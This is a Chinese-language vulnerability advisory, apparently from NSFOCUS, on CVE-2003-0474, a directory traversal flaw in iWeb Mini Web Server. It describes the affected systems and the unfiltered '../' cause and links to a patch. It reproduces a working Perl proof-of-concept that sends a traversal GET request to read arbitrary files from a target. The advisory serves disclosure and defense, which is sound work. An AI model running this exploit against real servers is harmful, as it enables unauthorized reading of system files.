首页 -> 安全研究

安全研究

安全漏洞
iWeb Mini Web服务程序远程目录遍历漏洞

发布日期:2003-04-16
更新日期:2003-04-18

受影响系统:
iWeb Mini Web Server
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows 2000 SP3
描述:
CVE(CAN) ID: CVE-2003-0474

iWeb Mini Web是一款小型HTTP服务程序。

iWeb对用户提交的URI请求缺少正确过滤,远程攻击者可以利用这个漏洞以WEB进程权限查看系统任意文件内容。

问题存在于iWeb不正确过滤'../'字符,攻击者提交包含多个'../'字符的URI请求,可导致绕过webroot目录限制,远程遍历系统目录,查看文件内容。

<*来源:subversive (subversive@linuxmail.org
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105049794801319&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

subversive (subversive@linuxmail.org)提供了如下测试方法:

#!/usr/bin/perl -w
#
# S e c u r i t y F r e a k s
#   www.securityfreaks.com
#
# iWeb Mini Web Server Remote Directory Traversal
#
# subversive[at]linuxmail.org - *15/04/2003*


use IO::Socket;

if(!$ARGV[0]) {
print <<"IWEBSUK";

   S e c u r i t y F r e a k s
     www.securityfreaks.com

  -------------------------------------------------------------
  SF-iwsuk.pl - iWeb Mini Web Server Remote Directory Traversal
  -------------------------------------------------------------
  Usage: $0 <host> <file> <port>


IWEBSUK
exit;
}

else{
$host = $ARGV[0];
}

if(!$ARGV[2]) {
$port = "80";
}

else {
$port = $ARGV[2];
}


my $sock = new IO::Socket::INET ( Proto => "tcp",
                                  PeerAddr => $host,
                                  PeerPort => $port,
                                );
die "\nConnection to $host:$port failed\n" unless $sock;

print $sock "GET /../../../../../../../../../$ARGV[1] HTTP/1.0\n\n";
while(<$sock>) { print }
close($sock);
print("\n\n");
exit;

建议:
厂商补丁:

iWeb
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://ashleybrown.co.uk/downloads/iws2.exe

浏览次数:3460
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障